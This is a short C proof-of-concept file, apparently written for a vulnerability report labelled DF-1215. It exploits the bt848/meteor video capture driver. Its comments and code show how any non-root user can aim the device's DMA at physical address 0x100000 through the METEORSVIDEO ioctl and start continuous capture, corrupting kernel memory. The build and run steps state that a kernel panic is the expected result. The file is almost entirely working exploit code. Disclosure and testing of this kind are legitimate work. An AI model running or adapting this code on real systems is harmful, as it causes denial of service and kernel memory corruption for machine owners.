/*
 * DF-1215 PoC: METEORSVIDEO arbitrary physical DMA write
 *
 * Unprivileged user sets bt848 DMA target to arbitrary physical address.
 * Device nodes are mode 0444 (world-readable), no priv check on METEORSVIDEO.
 * Start continuous capture -> bt848 bus-master writes to attacker-chosen phys.
 *
 * Build:  cc -O2 -Wall -o poc_physdma poc_physdma.c
 * Run:    ./poc_physdma   (as ANY non-root user)
 * Expect: kernel panic within seconds of METEORCAPTUR
 */

#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <stdio.h>

#include <dev/video/meteor/ioctl_meteor.h>
#include <dev/video/bktr/ioctl_bt848.h>

int main(void) {
    int fd = open("/dev/bktr0", O_RDONLY);
    if (fd < 0) { perror("open /dev/bktr0"); return 1; }

    /* 1) Point DMA at a known kernel physical address (1MB - BIOS/kernel region). */
    struct meteor_video v;
    v.addr = 0x100000UL;
    v.width = 640*4;
    v.banksize = 0;
    v.ramsize = 0;
    if (ioctl(fd, METEORSVIDEO, &v)) { perror("METEORSVIDEO"); return 1; }

    /* 2) Generate deterministic color-bar bytes. */
    int one = 1;
    ioctl(fd, BT848_SCBARS, &one);

    /* 3) Start continuous capture - bt848 now writes to phys 0x100000. */
    unsigned int cap = METEOR_CAP_CONTINOUS;
    if (ioctl(fd, METEORCAPTUR, &cap)) { perror("METEORCAPTUR"); return 1; }

    printf("DMA writing to phys 0x%x - expect kernel panic shortly.\n",
           (unsigned)v.addr);
    sleep(5);
    return 0;
}